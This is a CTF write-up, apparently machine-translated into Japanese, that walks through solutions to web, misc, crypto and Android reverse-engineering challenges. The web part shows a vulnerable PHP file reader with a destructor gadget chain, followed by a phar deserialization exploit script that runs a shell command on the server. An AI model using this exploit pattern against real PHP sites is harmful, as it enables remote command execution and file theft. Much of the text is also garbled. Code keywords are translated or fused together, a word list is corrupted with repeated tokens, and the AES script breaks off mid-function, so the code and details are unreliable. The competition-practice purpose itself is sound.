Jump to content

朝のCTFパート

web

simplelogin

Yakitはパスワードを破裂させました。A123456であることを忘れないでください。

h2amtakmaqa1080.png

pppp

index.phpには任意のファイルがあります:

?php

//upload.php

error_reporting(0);

highlight_file(__ file__);

クラスA {

public $ a;

パブリック関数__Destruct()

{

$ s=$ this- $ a;

$ s();

}

}

クラスB {

public $ cmd;

function __invoke(){

$ this-start()を返します。

}

function start(){

エコーシステム($ this-cmd);

}

}

if(isset($ _ get ['file'])){

if(strstr($ _ get ['file']、 'flag')){

die( 'get out!');

}

echo file_get_contents($ _ get ['file']);

}

upload.php:を読んでください

! - ?php

error_reporting(0);

if(isset($ _ files ['file'])){

mkdir( 'upload');

$ uid=uniqid();

$ ext=Explode( '。'、$ _ files ['file'] ['name']);

$ ext=end($ ext);

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png ');

echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png';

} -

アップロードされたファイルは.pngに変更されます

PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。

//phar.php

?php //phar.php

classa {

public $ a;

publicFunction__Destruct()

{

$ s=$ this-a;

$ s();

}

}

classb {

public $ cmd;

function__construct(){

$ this- $ cmd='catflag';

}

function__invoke(){

$ this-start()を返します。

}

functionstart(){

System($ this-cmd);

}

}

$ b=newb();

$ b-cmd='cat/flag';

$ a=newa();

$ a-a=$ b;

@unlink( 'phar.phar');

$ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません

$ phar-startbuffering();

$ phar-setstub( '?php__halt_compiler();'); //Set Stub

$ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します

$ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します

$ phar-stopbuffering(); //署名は自動的に計算されます

アップロードとアクセス:

key5ca1cpxq1081.png

Misc

ftp

トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。

ksfglhwvhfn1082.png

crypto

baby_words with Buddha

AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます

rushiwowen=[

'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'

'未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、

「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、

「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、

'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、

「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 '

'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、

'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen

'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」

「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、

'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、

'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、

「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、

「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、

'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 '

「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、

enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は

dec=b ''

enc3360のiの場合

Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little')

key=b'dasctf@key@^_^@encode !仏! '

iv=b'iv | dasctf | ovo | iv '

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから、unpad

cryportor=aes.new(key、aes.mode_cbc、iv)

#padded_data=pad(data.encode( 'utf-8')、aes.block_size)

encrypted_data=cryptor.decrypt(dec)

print(encrypted_data)

vrsz5zetf131083.png

re

normalandroid

JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。

qthxjbg2tps1084.png

キーのようなものを見て、キーを変換できます。

xul31i40kau1085.png

表面:

owe5c22utg41086.png

表面

pxwy0zlp3mf1087.png

次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。

gvgg1hrxlbz1088.png

したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした:

fromcrypto.util.numberimportlong_to_bytes、bytes_to_long

#https://github.com/bozhu/aes-python/blob/master/aes.py

sbox=(

0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87

0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、

0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、

0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、

0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、

0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、

0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、

0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72

0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、

0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、

0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、

0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、

0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、

0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、

0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、

0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、

0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、

0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、

0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、

0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、

0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、

0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、

0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、

0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、

0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、

0xdc、0x4a、0x14、0x9a、0x5c、0x76

))

invsbox=[sbox.index(i)foriinrange(256)]

#Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c

Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1)

rcon=(

0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、

0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、

0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、

0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、

))

deftext2matrix(テキスト):

Matrix=[]

Foriinrange(16):

byte=(text(8*(15-i)))0xff

ifi%4==0:

matrix.append([byte])

else:

マトリックス[i //4] .append(byte)

ReturnMatrix

defmatrix2Text(Matrix):

テキスト=0

Foriinrange(4):

Forjinrange(4):

テキスト|=(matrix [i] [j](120-8*(4*i+j)))

returnText

classaes:

def__init __(self、master_key):

self.change_key(master_key)

defchange_key(self、master_key):

self.round_keys=text2matrix(master_key)

#self.round_keys

Foriinrange(4,4*11):

self.round_keys.append([])

ifi%4==0:

byte=self.round_keys [i-4] [0] \

^sbox [self.round_keys [i-1] [1]] \

^rcon [i //4]

self.round_keys [i] .append(byte)

Forjinrange(1,4):

byte=self.round_keys [i-4] [j] \

^sbox [self.round_keys [i-1] [(j+1)%4]]

self.round_keys [i] .append(byte)

else:

Forjinrange(4):

byte=self.round_keys [i-4] [j] \

^self.round_keys [i-1] [j]

self.round_keys [i] .append(byte)

#self.round_keys

defencrypt(self、plantext):

self.plain_state=text2matrix(plantext)

self .__ add_round_key(self.plain_state、self.round_keys [:4])

Foriinrange(1,10):

self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1)))

self .__ sub_bytes(self.plain_state)

self .__ shift_rows(self.plain_state)

self .__ add_round_key(self.plain_state、self.round_keys [40:])

returnMatrix2Text(self.plain_state)

defdecrypt(self、ciphertext):

self.cipher_state=text2matrix(ciphertext)

self .__ add_round_key(self.cipher_state、self.round_keys [40:])

self .__ inv_shift_rows(self.cipher_state)

self .__ inv_sub_bytes(self.cipher_state)

Foriinrange(9,0、-1):

self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1)))

self .__ add_round_key(self.cipher_state、self.round_keys [:4])

returnMatrix2Text(self.cipher_state)

def__add_round_key(self、s、k):

Foriinrange(4):

Forjinrange(4):

s [i] [j]^=k [i] [j]

def__round_encrypt(self、state_matrix、key_matrix):

self .__ sub_bytes(state_matrix)

self .__ shift_rows(state_matrix)

self .__ mix_columns(state_matrix)

self .__ add_round_key(state_matrix、key_matrix)

def__round_decrypt(

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...